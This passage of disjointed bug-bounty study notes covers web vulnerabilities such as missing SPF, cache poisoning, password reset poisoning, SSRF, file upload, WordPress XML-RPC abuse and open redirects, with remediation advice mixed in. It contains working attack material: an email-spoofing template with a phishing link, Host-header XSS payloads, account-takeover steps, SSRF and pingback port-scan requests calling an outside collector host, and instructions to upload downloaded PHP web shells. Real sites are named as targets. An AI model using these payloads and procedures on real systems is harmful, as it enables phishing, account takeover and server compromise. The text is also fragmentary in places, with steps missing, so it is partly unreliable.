the resource was removed. Attackers can register the expired domain or recreate the deleted
account to gain control over the linked content.
Real life Example : Social Media Takeover – A company removes its Twitter, Instagram, or LinkedIn
profile, but its website still links to it. Attackers create a new account with the same username to
impersonate the brand.
Regularly audit external links – Use tools like Screaming Frog SEO Spider or Burp Suite to find
broken links.
Redirect deleted social media profiles – If a brand changes social handles, update the website
links.
Monitor expired domains – Use Google Search Console or site crawlers to check for outdated
links.
Use Content Security Policy (CSP) – Restrict the execution of external scripts using CSP headers.
A missing SPF (Sender Policy Framework) record means that a domain does not have an SPF DNS
record configured to specify which mail servers are allowed to send emails on behalf of the domain.
Without SPF, attackers can spoof emails, making them appear as if they were sent from a legitimate
domain.
SPF helps prevent email spoofing and phishing attacks by allowing email servers to verify if the email
is sent from an authorized mail server. If an SPF record is missing, anyone can forge emails
pretending to be from your domain.
1. Online Tools:
https://mxtoolbox.com/SPF.aspx
https://dnschecker.org/spf-record.php
Kitterman.org/spf/validate.html
Scrape or manually find emails from contact pages, About Us, privacy policies, or blog posts.
site:example.com "email"
site:example.com "contact@"
The attacker uses an SMTP service (like sendmail or Mailx) or online tools like GoPhish or SMTP open
relays.
sendmail -t
From: [email protected]
[ OR ]
Emkei.cz , spoofbox.com
Please update your password immediately by clicking this link: http://fake-site.com
Since SPF is missing, the recipient’s email server does not verify the sender’s legitimacy, and the
email lands in the inbox.
The victim believes the email is from the official domain and may click on phishing links or download
malware.
Email Spoofing – Attackers can send phishing emails pretending to be your company.
Brand Damage – Customers and partners might receive fake emails from your domain.
1. SoftFail (~all)
Behavior: If an email is sent from an unauthorized server, the recipient’s mail server marks it as
suspicious but still delivers it (usually to Spam/Junk).
Reason to Use: If you're testing SPF settings or want to allow some unauthorized emails to pass for
monitoring.
Impact:
2. HardFail (-all)
Behavior: If an email is sent from an unauthorized server, the recipient’s mail server rejects it
outright (bounces back).
Reason to Use: If you want strict email security and prevent unauthorized senders from using your
domain.
Example SPF Record with HardFail:
Origin ip disclosure
Origin IP disclosure is a vulnerability where an attacker can obtain the real IP address of a web server,
even if it is protected behind CDN services (Cloudflare, Akamai, etc.), WAFs, or proxies.
DDOS etc..
shodan :hostname:dishtv.in
1. Log in to the same IGP.com account on two different browsers: Google Chrome and Brave.
Use Email or Phone Number along with the Password to log in.
Account Settings > Profile Settings > My Profile > Change Password
4. Observe that Brave logs out automatically after the password update.
After a password change, all active sessions across different browsers should immediately expire,
requiring re-login.
Actual Behavior:
The session in Chrome remains active, even after a password change in Brave.
The user can still access personal data and perform actions without re-authentication.
Impact:
This is a security risk because if an attacker gains access to an active session, they can continue using
it even after a password reset.
Users expect all active sessions to be logged out when they update their password, preventing
unauthorized access.
Suggested Fix:
Revoke authentication tokens and session cookies across all devices and browsers.
If a website does not properly limit password length during account creation, an attacker can send
extremely long passwords to overload the server. Here’s how you can test it using Burp Suite.
2. Go to the target website’s Sign-Up / Register page and enter normal details.
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=testuser&[email protected]&password=12345678
Use a strong hashing algorithm (e.g., bcrypt, Argon2) with safe limits.
Sign: The response takes a long time (5-10+ seconds) or never comes back.
Content-Type: text/html
Possible Response:
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 8388608 bytes)
The entire website slows down or becomes inaccessible because the attack consumes server
resources.
Price Tampering
Price tampering refers to the deliberate alteration or manipulation of prices, typically to deceive
customers or gain an unfair advantage. This can happen in various contexts, such as retail, e-
commerce, or services. The goal of price tampering is usually to make products or services appear
cheaper than they are, or more expensive than they should be, in order to mislead or exploit
consumers.
You can change price from starting point to ending point ,ex :adding product in cart to final gatway
generation time.
0,-100,100-100,1
Loss of Revenue
Impact: If attackers manipulate prices (for example, lowering prices artificially), they can cause
businesses to lose money. Customers may end up paying far less than intended, leading to financial
losses for the business.
Remediation: Ensure that the final price is validated on the server-side, not just on the client-side
(user’s browser). Never rely on the data shown on the user’s browser to determine the final price
because it can be easily manipulated.
How to Implement: Use secure APIs to retrieve and display prices, and ensure that the server
performs checks on the price before processing payment.
How to Implement: Use HTTPS for secure transactions and use trusted third-party payment services
like PayPal, Stripe, or others to process payments securely.
Remediation: Display a clear breakdown of all charges (including taxes, shipping, and discounts)
throughout the shopping process, not just at checkout. This ensures the customer is aware of the full
price at all times.
How to Implement: Update the cart with real-time price changes whenever a new coupon is applied,
or shipping options are selected, ensuring the customer is always aware of the price changes.
Remediation: Protect admin interfaces and backend systems with strong authentication to ensure
only authorized personnel can modify pricing. This prevents unauthorized access and tampering by
insiders or hackers.
How to Implement: Use two-factor authentication (2FA) for administrators, role-based access control
(RBAC), and regular audits of your backend systems to detect any unusual changes.
Remediation: Ensure that all price data is transferred securely and cannot be intercepted or
manipulated by attackers. This includes using encrypted connections and securing any public APIs.
How to Implement: Ensure all API endpoints involving pricing data use SSL/TLS encryption and
employ methods like API keys or OAuth for secure access.
How to Implement: Set up logging mechanisms to track all price modifications. Review logs for
unusual activity regularly and trigger alerts for suspicious changes to pricing.
Remediation: Conduct regular penetration testing and vulnerability scanning to identify and fix any
weaknesses in the system that could lead to price tampering.
How to Implement: Hire cybersecurity experts or use automated vulnerability scanning tools to test
your website’s security and ensure there are no exploitable flaws.
User Education
Remediation: Educate your customers about the legitimacy of prices and discounts on your site. This
can help reduce the impact of price tampering if customers are aware of what to expect.
How to Implement: Clearly communicate your pricing policies, discounts, and any terms and
conditions around pricing on your website to foster customer trust.
Xss attack
Ssrf
HOST:bing.com
Referer:bing.com
It is a type of attack in which an attacker manipulates the web cache (either on the server or in
intermediate caching layers such as reverse proxies or CDNs) to serve malicious or unintended
content to users. This happens when the cache stores content that is intended to be unique for
certain users but is instead incorrectly cached and later served to others. Essentially, the attacker
poisons the cache with a malicious response, which can then be served to other users accessing the
same resource
Client makes a request: The client (e.g., a browser) sends a request to the web server (e.g.,
requesting a webpage or API data).
Server processes the request: The server processes the request and generates a response. This
response could either be dynamic (based on user input, session, etc.) or static (e.g., an image,
stylesheet, etc.).
Cache storage: Once the server has processed the request and sent the response, the response is
stored in a cache (either on the server itself or in an intermediate caching layer like a Content
Delivery Network (CDN) or a reverse proxy). Caching is done to avoid reprocessing the same request
over and over again, which can improve performance and reduce the load on the server.
Next request: If the client or another user makes the same request again (or a request that matches
the cached content), the cache (not the server) provides the stored response instead of the server
reprocessing the request. This is faster because the cache can quickly return the response without
the need for the server to generate it again.
Miss vs hit
1. Cache Miss:
A cache miss occurs when the requested data is not found in the cache. When a cache miss
happens, the system needs to go to the original data source (such as the web server, database, or
external API) to retrieve the content, and then it will store this content in the cache for future use.
Example:
Step 1: A user visits a website that hasn't been previously visited by anyone, so the requested
resource isn't in the cache.
Step 2: The server processes the request, generates the response, and sends it to the cache and
saved in cache and send backs to the user..
Result: The server response is stored in the cache for future requests.
In subsequent visits, the response could be served from the cache (if it's a cache hit), reducing load
on the server.
2.Cache Hit:
A cache hit occurs when the requested data is found in the cache. In this case, the cache stores the
response for a specific request (like a web page or image), and the system returns the cached
content directly to the client without needing to retrieve it from the original source (such as the web
server).
Example:
Step 1: A user visits a website, and the response is stored in the cache.
Step 2: The same user (or someone else) visits the same website again.
Result: The cached response is served directly from the cache because it hasn't changed or expired.
This saves time and resources by avoiding redundant processing on the server.
By adding ?dc=1234
First, check if the application is vulnerable to Host header injection; if vulnerable, inject an XSS
payload by adding the Host or X-Forwarded-Host headers and check the response for successful
injection. If the XSS payload is injected, and the response is cached, any subsequent visitor to the
website will automatically see the XSS alert due to the cached malicious content.
HOST: <script>alert('1’)</script>
X-Forwarded-Host: <script>alert('1’)</script>
Password reset poisoning refers to a type of attack where an attacker manipulates or exploits the
password reset process to gain unauthorized access to a user's account. This can be done by
intercepting or altering the reset request, often by changing the email address or reset token, so the
attacker can reset the password and take control of the account.
• Password reset link generation with attacker account: A password reset link is generated with the
attacker's account, and the reset email will be received by the attacker.
• Check for host header injection vulnerability: Check if the system is vulnerable to host header
injection by adding the 'Host' or 'X-Host' field. If successful, the attacker will receive the password
reset email with a malicious URL containing {bing.com } and the token ID, indicating the vulnerability.
• Generate password reset link with attacker email: Regenerate the password reset link with the
attacker’s email or username. Modify the request to add 'Host' or 'X-Forwarded-Host' with the server
URL and change the attacker’s email ID to the victim's email or username.
You can also use buro collaborator client url at server url
• Monitor access log of the exploited server: Monitor the access log of the exploited server.
• Capture victim's token ID: In the server access logs, you will find the victim’s token ID. Copy that
token ID.
• Access the reset link: At first, the attacker’s account password reset link will appear. Copy that link,
paste it into the browser, and change the token to the victim’s token ID.
• Victim password setup: When you visit the modified link, the victim’s account will show the new
password setup page, allowing the attacker to set a new password for the victim's account.
SSRF
SSRF stands for Server-Side Request Forgery. It’s a type of web security vulnerability where an
attacker tricks a server into making HTTP requests to arbitrary domains or IP addresses, including
internal systems not directly accessible from the internet.
Types :
1.Regular
2.Blind
Parameter’s : dest , php_info , callback , id , file , page , url , uri , path , root , site , referrer , continue ,
window , reference , redirect , parth , data , html
Payloads :
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20
Forgery/README.md
http://localhost:80
http://localhost:22
https://localhost:443
http://127.0.0.1:80
http://127.0.0.1:22
https://127.0.0.1:443
http://0.0.0.0:80
http://0.0.0.0:22
https://0.0.0.0:443
http://[::]:80/
http://[0000::1]:80/
Proxy > Intruder > numbers at payloads sets > 1-1024
https://h.43z.one/ipconverter/
File upload
A file upload vulnerability occurs when a web application does not properly validate or sanitize files
uploaded by users. This can allow attackers to upload malicious files, such as web shells, scripts, or
executables, which can then be used to compromise the system.
How the server Validate's :
2. Extension Validation
3. Content Type
4. Content Inspection
Just search on Google for web shells. For example, search 'AK47 web shell'. You can also explore
others like b374k shell, WSO shell, R57, C99, and China Chopper.
Download a .php web shell file and upload it to a website wherever there’s a file upload functionality
https://github.com/BlackArch/webshells/blob/master/php/AK-
74%20Security%20Team%20Web%20Shell%20Beta%20Version.phpcsrf
Bypass Methods:
git clone https://github.com/almandin/fuxploider
cd fuxploider
pip3
No rate vulnerability
Open Burp Suite and set up your browser to use Burp’s proxy (127.0.0.1:8080).
Go to the target site and perform an action that sends an OTP (e.g., enter your phone/email).
In Proxy > HTTP history, find the POST or GET request responsible for OTP delivery.
If the request or response contains an OTP code or session token (like a cookie or verification
code), you can analyze its randomness.
Step-by-Step Instructions
Could be: content length , expires , accept language 0.5 or part of the body { at 5 value }
(Optional) You can also highlight a header like Accept-Language to vary it as a bypass technique
From: 1
To: 500
Step: 1
3. Start Attack
Select the correct token location (Burp may auto-detect a session cookie or OTP in the response).
WPScan is a command-line tool used by security professionals and developers to identify known
security issues in WordPress core, themes, and plugins. It uses a vulnerability database maintained
by the WPScan team.
Enumerate all :
vulnerable only :
Using --random-user-agent can help bypass basic firewalls or bot detection, but it has limited
effectiveness against advanced Web Application Firewalls (WAFs)
What is xmlrpc.php?
xmlrpc.php is a file in WordPress that enables remote communication between your WordPress site
and external applications using the XML-RPC protocol. This allows programs (like mobile apps or
other websites) to interact with your WordPress site remotely.
XML-RPC allows external systems to send commands to WordPress using XML-formatted requests
over HTTP. These commands can:
Upload media
Manage comments
Use remote publishing tools like the WordPress mobile app, Jetpack, or MarsEdit
Example Use Case:
You’re using the official WordPress mobile app. It needs to connect to your site to publish a blog
post. It uses xmlrpc.php to do that.
Attack’s :
2.DOS
3.List Users
inurl:"/xmlrpc.php?rsd"
intitle:"WordPress" inurl:"readme.html"
allinurl:"wp-content/plugins/"
Enumerate users :
https://www.thefreecat.org/wp-json/wp/v2/users
https://thefreecat.org/wp-sitemap-users-1.xml
Open the target link in your browser and intercept the request using Burp Suite.
Once intercepted, forward that request to the Repeater tab.
In the Repeater, right-click the request and select "Change request method".now get request
changed to post and forward , You should see a 200 OK status in the response.
Now, append the following XML code at the end of the request packet,
It will display all methods
https://github.com/rm-onata/xmlrpc-attack
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>https://postb.in/1562017983221-4377199190203</string></value>
</param>
<param>
<value><string>https://thefreecat.org/</string></value>
</param>
</params>
</methodCall>
[ OR ]
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http:// hr03rl6g.requestrepo.com/</string></value>
</param>
<param>
<value><string>http://localhost/wordpress/?p=1/</string></value>
</param>
</params>
</methodCall>
Port Scan :
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http:// hr03rl6g.requestrepo.com:21</string></value>
</param>
<param>
<value><string>http://localhost/wordpress/?p=1/</string></value>
</param>
</params>
</methodCall>
Note 2 :In the response if you get fault code and a value greater then 0 , then it means the port is
open , you can verify this by checking your server logs.
Remediation:
If the XMLRPC.php file is not being used, it should be disabled and removed completely to avoid any
potential risks. Otherwise, it should at the very least be blocked from external access.
Brute force login password :through burp suite intruder
https://jiomeetpro.jio.com/.well-known/security.txt
Visit any target site and find all images on that site and copy url of image and find exif data using exif
tools if the location or device details leaked that is vulnerable.
P4 – bug
https://hackerone.com/reports/2234736
https://hackerone.com/reports/1927360
Impact :
1/ Compromised user data: If an attacker gains access to a user's account before 2FA is activated,
they can continue to access the account even after 2FA is enabled. This can result in the theft of
sensitive user data, such as personal information, financial details, and other confidential data.
2/ Financial loss: A compromised user account can also lead to financial loss if the attacker makes
unauthorized transactions, transfers funds, or purchases items using the user's payment information.
3/ Reputational damage: If users' accounts are compromised due to this security vulnerability, it can
damage the reputation of the service provider. Users may lose trust in the platform and may be less
likely to use it in the future.
4/ Legal consequences: In some cases, the service provider may be held liable for damages resulting
from the security vulnerability, which could lead to legal and financial consequences.
5/ Operational costs: Fixing this security vulnerability will require resources and time to implement
the necessary measures. This can result in operational costs for the service provider, including
development, testing, and communication with users.
6/ Regulatory compliance: Depending on the nature of the platform and the data it processes, this
vulnerability may be a violation of regulatory requirements, leading to fines or other penalties.
Recommended Solution :
Upon enabling 2FA on one device, all other active sessions associated with the same account should
be immediately terminated.
XXE
XXE.xml = File name format
JWT
Open burp suite > extenisons > bapp store > jwt editor > install
Proxy > http history > In green colour indicate some request’s because of jwt editor extension choose
only that requests only .
Open Redirection :
url
redirect
redirect_uri
redirect_url
redir
rurl
destination
dest
next
next_page
return
returnTo
return_to
return_url
continue
continue_url
checkout_url
forward
forward_url
go
to
image_url
view
view_url
page
page_url
file_url
file_name
folder_url
folder
login_url
img_url
return_path
load_url
load_file
turl
redirect_to
redirect
redirect_uri
redirect_url
redirect
/redirect/
/cgi-bin/redirect.cgi
/out/
/out?
/login?to=
/image_url=
/go=
/return=
/returnTo=
/return_to=
/checkout_url=
/continue=
/return_path=
/loginto
Path
link
target
rurl
next
ink
del
file
Example : next=https://google.com
https://dishtv.in.page.link/?link=https%3A%2F%2Fsiteproxy.ruqli.workers.dev%3A443%2Fhttps%2Fwww.evil.com?https://www.dishtv.in/
Weak password policy vulnerability
I can able to create account with very weak pass like 123456
Increases risk of bruteforce and credential stuffing attacks
1. Visit https://flightdemy.com/register
Email: [email protected]
User can continue using the account without confirming any contact info
Impact:
1. Accidental Deletion: Users might unintentionally delete their accounts without realizing the
consequences.
2. Malicious Activity: Attackers with temporary access to the device or session can delete accounts
without authorization.
3. Loss of Trust: Users may lose confidence in the platform due to insecure account deletion
processes.
4. Unintended Data Loss: Irrecoverable loss of valuable user data if the account is deleted
accidentally or maliciously.
Recommendation:
Consider adding multi-factor authentication (MFA) for critical actions like account removal.
Log account deletion actions with user details and timestamps for audit purposes.
Provide an option to recover deleted accounts within a grace period to prevent permanent loss.
SSRF is a type of attack where an attacker can make the server send requests to internal resources or
any arbitrary URLs. By exploiting SSRF vulnerabilities, attackers can trigger requests to external DNS
servers or services, which can be leveraged for various purposes like:
Parameter’s : url
uri
path
domain
host
website
site
continue
next
data
reference
redir
redirect
callback
return
returnTo
page
img
image_url
load
file
file_url
open
out
to
target
dest
destination
fetch
feed
link
src
source
navigation
proxy
port
remote
address
remote_url
video_url
audio_url
avatar
background
api
endpoint
objectUrl
in burp suite click poll now > you will see the request and see the request you will see ip
Mobile Number Verification Bypass allows Registration of Restricted Country
Steps:
1. Visit the sign-up page of any website and complete the email verification process.
2. When prompted for mobile number verification, note that some websites do not list certain
countries like India (+91).
3. Select any country code that is allowed and enter a random phone number from that country.
4. Intercept the outgoing HTTP request using a proxy tool (like Burp Suite).
5. Modify the intercepted request: replace the selected country code and phone number with the
Indian country code (+91) and your desired Indian phone number.
9. If successful, the account will be created using the Indian number. After logging in, check the
dashboard to confirm the number is linked to the account.
2. After logging in, navigate to the Dashboard > Change Password section.
3. Enter your current password, and for both "New Password" and "Confirm Password," enter the
same value as your current (old) password.
4. When you click "Submit," the application will show an error saying "Old and new passwords
should not be the same."
Set a different new password and confirm password (to pass client-side check).
Change the new password and confirm password values to the same as the current (old) password.
9. If the server responds with a 200 OK status and the password is successfully updated (despite old
and new being the same),
10. If there was proper server-side validation, the server would reject the request and return an
error.
Password reset link does not expire after changing the email address — leads to Account Takeover
Steps to Reproduce:
1. Log in to your account using Browser A.
2. In Browser B, open the password reset page and request a reset using your current email address.
3. Go back to Browser A, go to the account settings, and change the email address to a new one.
If verification is required, verify it using the link sent to the new email address.
4. Now, return to Browser B and open the password reset link that was sent to the old email address
(before the email change).
5. If the link still works and allows you to set a new password, this is a security vulnerability, because
the reset link from the old email is still valid even after the email address has been changed.
2. After logging in, go to the logout option and click it to log out.
3. Now, click the back button (<) in your browser (e.g., the browser's back arrow).
Expected Behavior:
You should not be able to see any content from the previous (logged-in) page after logging out. The
browser should redirect you to the login page or display an error (like "Session expired").
After clicking the back button, the browser displays the content of the previous (authenticated)
page, even though you've already logged out.
https://gaya3-r.medium.com/cache-control-header-is-missing-for-a-sensitive-page-168ac9f43e12
https://hackerone.com/reports/231805
https://jenish03.medium.com/improper-cache-control-vulnerability-f2604038615a
Reset password link sent over unsecured http protocol
Enter your email address in the provided field to request a password reset.
Check your email inbox for the password reset email from the website.
Open the email and find the password reset link inside.
Paste the URL somewhere (e.g., in a text editor) and observe it.
Look at the beginning of the URL — you will see whether it uses the HTTP protocol.
Mitigation:
Impact
If the victim opens the reset password link and forgot to update the password, anyone from
intermediate computers through network or sniffer can reset the password.
https://hackerone.com/reports/1888915
Session Not Invalidated After Account Deletion
Steps to Reproduce:
3. In Browser A:
4. Return to Browser B:
Expected Behavior:
• Any request from Browser B should result in a 401 Unauthorized or redirect to login page.
• The user can continue accessing and interacting with the application.
• Actually Website need to force logout from all browser after deleting account.
Recommendation:
3. Click the "Logout" button — this should log you out and end the session.
4. Now, click the "Login" button again without entering any credentials.
If you are automatically logged in again without needing to re-enter your username and password,
the website may be vulnerable.
Impact
• If someone else gains temporary or physical access to the browser, they can easily regain
access to the account without credentials.
Recommendation:
Dust | Report #3101207 - Improper Session Invalidation – Auto Sign-In Without Credentials After
Logout (Affects Chrome & Firefox) | HackerOne